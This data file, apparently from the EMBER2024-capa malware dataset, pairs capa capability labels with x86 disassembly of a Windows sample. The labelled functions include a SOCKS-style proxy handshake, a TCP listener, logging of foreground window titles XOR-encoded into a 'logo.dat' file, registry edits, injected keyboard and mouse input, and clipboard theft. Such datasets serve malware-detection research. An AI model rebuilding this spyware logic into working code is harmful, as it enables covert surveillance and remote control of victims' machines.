joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4084a0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x120
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x477d98
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [0x477d94]
mov ebp, dword [0x4780dc]
push str.LeaveCriticalSection
inc ebp
push str.KERNEL32.dll
mov dword [0x4780dc], ebp
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x477d98
call eax
mov edi, dword [esp + 0x13c]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.004082b0
add esp, 8
cmp eax, esi
je 0x4086c2
mov ebp, dword [esp + 0x134]
cmp eax, 1
je 0x408608
cmp eax, 2
je 0x408608
cmp eax, 3
je 0x408608
cmp eax, 4
jne 0x408681
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x144]
lea edx, [esp + 0x34]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.00408200
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x40]
push edx
lea ecx, [ebp + 4]
push eax
push ecx
call fcn.00408be0
add esp, 0x1c
test eax, eax
je 0x4086c2
mov al, 0x54
mov cl, 0x20
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], al
mov al, 0x30
mov byte [esp + 0x20], cl
mov byte [esp + 0x1f], al
mov byte [esp + 0x22], al
mov byte [esp + 0x23], al
mov byte [esp + 0x24], cl
mov cl, 0xd
mov al, 0xa
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], al
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], al
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x1b], 0x50
mov byte [esp + 0x1c], 0x2f
mov byte [esp + 0x1d], 0x31
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x21], 0x32
mov byte [esp + 0x25], 0x4f
mov byte [esp + 0x26], 0x4b
mov byte [esp + 0x2b], 0
repne scasb al, byte es:[edi]
mov eax, dword [ebp]
push esi
not ecx
lea edx, [esp + 0x1c]
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x408681
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x140]
mov edx, dword [esp + 0x138]
push ecx
push esi
push edi
push edx
call fcn.004083e0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x4086c2
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
mov eax, dword [esp + 0x18]
sub esi, eax
push ecx
sub esi, 7
lea edx, [eax + edi + 7]
push esi
push edx
call fcn.00408200
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x40]
lea esi, [ebp + 4]
push eax
push ecx
push esi
call fcn.00408be0
add esp, 0x1c
test eax, eax
je 0x4086c2
mov edx, dword [esp + 0x138]
mov eax, dword [esi]
push 0
push ebx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4086c2
cmp dword [ebp], 0
je 0x4086c2
mov eax, dword [ebp + 4]
test eax, eax
je 0x4086c2
lea ecx, [esp + 0x2c]
push ecx
push 0
push ebp
push 0x4097a0
push 0
push 0
call dword [0x477d90]
test eax, eax
je 0x4086b2
push 0xffffffffffffffff
push eax
call dword [0x477d8c]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x120
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x120
ret
Function at 0x4086d0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov al, byte [ebx]
mov byte [ebp - 2], 5
cmp al, 5
mov byte [ebp - 1], 0
je 0x4086f9
pop edi
pop esi
and eax, 0xff
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 2]
lea esi, [ebx + 2]
test al, al
je 0x408710
cmp al, 2
je 0x408710
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x477ddc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [ebp - 2]
and ecx, 2
push 2
mov byte [ebp - 1], cl
mov ecx, dword [ebp + 8]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40874a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 1], 2
jne 0x4088a7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x204]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push 0x5000
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40889e
test eax, eax
je 0x40889e
cmp byte [ebx], 1
je 0x4087ad
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 1]
test al, al
je 0x4087d6
and eax, 0xff
cmp eax, 0x100
jg 0x4087d6
mov ecx, eax
lea edi, [ebp - 0x104]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
mov al, byte [ebx + 1]
add eax, ebx
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x40880f
cmp ecx, 0x100
jg 0x40880f
mov edx, ecx
lea esi, [eax + 3]
lea edi, [ebp - 0x204]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x104]
mov eax, 0x477ddc
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40883e
test cl, cl
je 0x40883a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40883e
add eax, 2
add esi, 2
test cl, cl
jne 0x40881a
xor eax, eax
jmp 0x408843
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408884
lea esi, [ebp - 0x204]
mov eax, 0x477edc
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x408876
test cl, cl
je 0x408872
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x408876
add eax, 2
add esi, 2
test cl, cl
jne 0x408852
xor eax, eax
jmp 0x40887b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408884
mov byte [ebx + 1], al
jmp 0x408888
mov byte [ebx + 1], 0xff
mov eax, dword [ebp + 8]
push 0
push 2
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4088a7
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4088c0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x477a20
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x408974
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x40897c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x40896a
test edx, edx
jle 0x408934
mov edi, 0x47554c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x408906
add dword [esp + 0x10], 4
jmp 0x4088ea
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x408990
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4089a0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x408be0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x408c37
call fcn.00408990
add esp, 4
test eax, eax
je 0x408c92
push esi
call fcn.00408990
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x408c92
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x408c9a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x408cb0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.004086d0
add esp, 0xc
test eax, eax
je 0x408d57
cmp eax, 4
jne 0x408cf8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.004089b0
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x408d57
test eax, eax
je 0x408d57
cmp byte [esi], 5
jne 0x408d57
mov cl, byte [esi + 3]
cmp cl, 1
je 0x408d24
cmp cl, 3
jne 0x408d57
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.004089b0
add esp, 0x14
test eax, eax
je 0x408d57
mov al, byte [esi + 1]
cmp al, 1
je 0x408d4e
cmp al, 3
jne 0x408d57
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x408d60
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x408dae
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x408dcb
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.004088c0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x409130
Capabilities:
Create tcp socket
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x409235
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x409235
mov dx, word [0x477db0]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x409235
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x4091d0
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
push str.CreateThread
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, eax
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call sub.MSVCRT.dll_malloc
add esp, 4
test eax, eax
je 0x4091ef
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x408e20
push 0
push 0
call ebp
test eax, eax
jne 0x40922c
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4091ef
push eax
call dword [0x477db8]
jmp 0x4091ef
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x4094f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x40952b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x409532
sub esi, eax
add edi, eax
test esi, esi
jg 0x409506
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x40a390
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x114
push ebx
mov al, 0x6f
push ebp
push esi
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push edi
lea eax, [esp + 0x20]
push 0x104
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [0x478210]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea eax, [esp + 0x34]
push 0x40000000
push eax
call dword [0x47820c]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x24], 0
call dword [0x478208]
cmp eax, 0x3200000
jae 0x40a43a
push 2
push 0
push 0
push ebx
call dword [0x478204]
mov ebp, dword [esp + 0x128]
push ebp
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x40a469
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x40a45d
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
push ebx
call dword [0x478200]
push ebx
call dword [0x4781fc]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret

Function at 0x40a4a0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x47821c
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x47821c
push eax
mov dword [0x47861c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x478218]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x47861c]
cmp eax, ecx
je 0x40a59b
push 0x47821c
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x40a58f
lea ecx, [esp + 8]
push ecx
call dword [0x4781f8]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x47821c
lea edx, [esp + 0x34]
push 0x475c34
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.0040a390
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x47821c
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x47861c]
mov dword [0x478218], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret
Function at 0x40a9b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x118
push ebp
push edi
lea eax, [esp + 0x1c]
xor edi, edi
push 0x104
mov dword [esp + 0x18], ecx
push eax
mov dword [esp + 0x20], edi
call dword [0x478210]
lea ecx, [esp + 8]
lea edx, [esp + 0x1c]
mov al, 0x6f
push ecx
push edx
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x30]
push bind
push eax
call dword [0x47820c]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40aa91
push esi
push edi
push ebp
call dword [0x478208]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x1c]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebp
call dword [0x4781e4]
xor eax, eax
test edi, edi
jbe 0x40aa7a
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40aa6c
mov ecx, dword [esp + 0x18]
push edi
push esi
call fcn.0040a950
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebp
call dword [0x4781fc]
mov eax, edi
pop edi
pop ebp
add esp, 0x118
ret
Function at 0x40b6c0
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46a498
push 0x465c72
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x40b6f7
jmp dword [eax*4 + 0x40b840]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x40b6f7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40b6f7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x40b6f7
cmp edx, 2
jbe 0x40b780
cmp edx, 4
jne case.default.0x40b6f7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x40b6f7
jmp 0x40b804
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x40b6f7
jmp 0x40b804
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40b6f7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x40b6f7
jmp 0x40b804
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40b6f7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x40b6f7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.0040b82b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c1b0
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x40c361
call fcn.0040f780
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x40c361
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x40c22d
cmp eax, 0x208
ja 0x40c22d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x40c2dd
je 0x40c2c5
cmp eax, 0x105
ja 0x40c299
je 0x40c27b
sub eax, 0x100
je 0x40c25d
dec eax
je 0x40c27b
sub eax, 3
jne case.0x40c2e7.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x40c2e7.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x40c2e7.521
sub eax, 0x201
je 0x40c2b6
dec eax
jne case.0x40c2e7.521
push 0
push 0
push 0
push 0
push 4
jmp 0x40c34a
push 0
push 0
push 0
push 0
push 2
jmp 0x40c34a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x40c34a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x40c2e7.521
jmp dword [eax*4 + 0x40c368]
push 0
push 0
push 0
push 0
push 8
jmp 0x40c34a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x40c34a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x40c34a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x40c34a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x40c34a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x40c1f9
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x40c390
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c3f8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x40c3f0
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x40c400
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c492
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x40c431
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [0x478638]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x77
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.0040ada0
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret